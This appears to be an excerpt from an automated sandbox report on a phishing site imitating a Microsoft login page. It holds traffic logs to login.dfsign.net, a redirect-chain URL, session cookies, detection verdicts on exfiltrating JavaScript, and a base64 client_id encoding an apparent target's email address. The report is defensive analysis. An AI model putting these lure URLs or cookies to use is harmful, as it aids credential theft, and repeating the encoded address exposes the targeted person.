2025-01-07 13:49:23 UTC	1049	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: LpxE1lovYPFpJw2pXe2ieA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:24 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: ec3cadef-2ae6-4213-bcad-1658b844e801 x-ms-ests-server: 2.1.19683.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49788	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:36 UTC	1049	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: vD/XtkBQq+IDfo6JLwlQgw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:37 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 4eee31ad-0dd6-437c-baba-7530cc0f5300 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49790	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:49 UTC	1030	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: 4QmkMN5ibtcmZf9mWkhovA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:49 UTC	735	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 9865c678-9f85-4a11-8e0b-63a76bb1f901 x-ms-ests-server: 2.1.19683.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49791	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:51 UTC	783	OUT	OPTIONS /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3D1f4c27ade1e540838fb9cb449bcbd3e2%26HASH%3D1f4c%26LV%3D202501%26V%3D4%26LU%3D1736257740581&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: apikey,cache-control,client-id,client-version,content-type,time-delta-to-apply-millis,upload-time Origin: https://login.dfsign.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 13:49:52 UTC	616	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:49:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: public, 3600 access-control-allow-credentials: true access-control-allow-headers: AuthMsaDeviceTicket,AuthXToken,Content-Encoding,Content-Type,Cache-Control,Client-Id,SDK-Name,sdk-version,apikey,x-apikey,client-version,upload-time,time-delta-to-apply-millis,client-time-epoch-millis,persistence-mode,reliability-mode,NoResponseBody access-control-max-age: 3600 access-control-allow-origin: https://login.dfsign.net
2025-01-07 13:49:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49792	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:52 UTC	1030	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: WR/h4VmKFcvLgVPiqE6B4g== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:49:52 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:49:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: d98496f6-c078-40fe-9d58-527a60166a00 x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49793	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:52 UTC	1283	OUT	POST /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3D1f4c27ade1e540838fb9cb449bcbd3e2%26HASH%3D1f4c%26LV%3D202501%26V%3D4%26LU%3D1736257740581&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive Content-Length: 1789 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" upload-time: 1736257789898 sec-ch-ua-mobile: ?0 client-version: 1DS-Web-JS-3.2.6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 time-delta-to-apply-millis: 3547 content-type: application/x-json-stream cache-control: no-cache, no-store apikey: b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951 Client-Id: NO_AUTH sec-ch-ua-platform: "Windows" Accept: / Origin: https://login.dfsign.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.dfsign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e
2025-01-07 13:49:52 UTC	1789	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 37 54 31 33 3a 34 39 3a 34 37 2e 38 38 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 62 30 63 32 35 32 38 30 38 65 36 31 34 65 39 34 39 30 38 36 65 30 31 39 61 65 31 63 62 33 30 30 22 2c 22 65 78 74 22 3a 7b 22 61 70 70 22 3a 7b 22 76 65 72 22 3a 22 32 2e 31 2e 31 39 36 38 33 2e 33 22 2c 22 6e 61 6d 65 22 3a 22 49 44 55 58 5f 45 53 54 53 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 5f 57 65 62 57 61 74 73 6f 6e 22 2c 22 73 65 73 49 64 22 3a 22 59 36 71 39 6c 54 38 39 73 6c 38 54 52 46 6b 71 43 62 49 50 56 69 22 Data Ascii: {"name":"IDUX_ESTSClientTelemetryEvent_WebWatson","time":"2025-01-07T13:49:47.886Z","ver":"4.0","iKey":"o:b0c252808e614e949086e019ae1cb300","ext":{"app":{"ver":"2.1.19683.3","name":"IDUX_ESTSClientTelemetryEvent_WebWatson","sesId":"Y6q9lT89sl8TRFkqCbIPVi"
2025-01-07 13:49:53 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 13:49:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding time-delta-millis: 3297 access-control-allow-headers: time-delta-millis access-control-allow-methods: POST access-control-allow-credentials: true access-control-allow-origin: https://login.dfsign.net access-control-expose-headers: time-delta-millis
2025-01-07 13:49:53 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 7d 7d 0d 0a Data Ascii: 18{"acc":1,"webResult":{}}
2025-01-07 13:49:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49794	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:49:53 UTC	779	OUT	GET /OneCollector/1.0/?cors=true&content-type=application/x-json-stream&ext.intweb.msfpc=GUID%3D1f4c27ade1e540838fb9cb449bcbd3e2%26HASH%3D1f4c%26LV%3D202501%26V%3D4%26LU%3D1736257740581&w=0 HTTP/1.1 Host: 8ae57709-b5027fcd.dfsign.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e
2025-01-07 13:49:54 UTC	267	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Tue, 07 Jan 2025 13:49:54 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close allow: OPTIONS,POST access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:49:54 UTC	78	IN	Data Raw: 34 38 0d 0a 7b 22 4d 65 73 73 61 67 65 22 3a 22 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 68 74 74 70 20 6d 65 74 68 6f 64 20 27 47 45 54 27 2e 22 7d 0d 0a Data Ascii: 48{"Message":"The requested resource does not support http method 'GET'."}
2025-01-07 13:49:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49796	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:50:09 UTC	1030	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: aLPD5olkXjmPZjRAjo0OYw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:50:09 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:50:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: b5ed9e63-c510-4ccf-b636-0131065bcf00 x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:50:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49797	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:50:19 UTC	1030	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: Hqp1T1C0/V1L9oDPn2nEsQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:50:19 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:50:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 1f7e2e71-f347-40a8-9c54-81066b50a900 x-ms-ests-server: 2.1.19683.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:50:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49798	104.248.23.102	443	6956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:50:29 UTC	1030	OUT	GET /b5027fcd16144f65bd8810f5f9ce2240/ HTTP/1.1 Host: login.dfsign.net Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://login.dfsign.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfSt9v="YjUwMjdmY2QtMTYxNC00ZjY1LWJkODgtMTBmNWY5Y2UyMjQwOmU1YmU2YzI2LTJiZWQtNDI3Ny1hNmIwLTBkY2ZlZjY4YzkyZQ=="; AADSSO=NA\|NoExtension; MicrosoftApplicationsTelemetryDeviceId=42d2215d-48fd-4f2b-8fce-5caae4bcb1c1; brcap=0; ai_session=Y6q9lT89sl8TRFkqCbIPVi\|1736257735020\|1736257735020; MC1="GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581"; MS0=237614e540c9418e96124a6f6446af3e; MSFPC=GUID=1f4c27ade1e540838fb9cb449bcbd3e2&HASH=1f4c&LV=202501&V=4&LU=1736257740581 Sec-WebSocket-Key: lyQiVUaimRoXIfkyNh2ooA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-07 13:50:29 UTC	738	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 07 Jan 2025 13:50:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: eda89c91-bd4a-4409-b9e0-6a93bc87d000 x-ms-ests-server: 2.1.19683.3 - WEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://00459cc6-b5027fcd.dfsign.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-07 13:50:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:48:29
Start date:	07/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	08:48:30
Start date:	07/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2024,i,2423782842333832770,18388359593148438185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:48:31
Start date:	07/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.clubgets.com/pursuit.php?a_cd=%2A%2A%2A%2A%2A&b_cd=0018&link=https://zion.com.sg/gVBN1ASF7vQWE3IOP6IOP6VBN1ABC2cQWE3ZXC0VBN1QWE3IOP6VBN1XYZ1mASF7PPL6QAZ3ERT4QWE3ABC2cASF7m"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 0.2.id.script.csv, type: HTML
Source: Yara match	File source: 0.11.id.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.dfsign.net/?organisation=modula&clie... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code. It interacts with multiple external domains, some of which may be suspicious or malicious. While the script appears to have some legitimate functionality, such as analytics and tracking, the overall behavior is concerning and requires further investigation.
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://login.dfsign.net/?organisation=modula&clie... This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of suspicious domains further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.

Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: Number of links: 0
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: Number of links: 0

Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: Iframe src: https://58fdca4b-b5027fcd.dfsign.net/Prefetch/Prefetch.aspx
Source: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum	HTTP Parser: Iframe src: https://58fdca4b-b5027fcd.dfsign.net/Prefetch/Prefetch.aspx
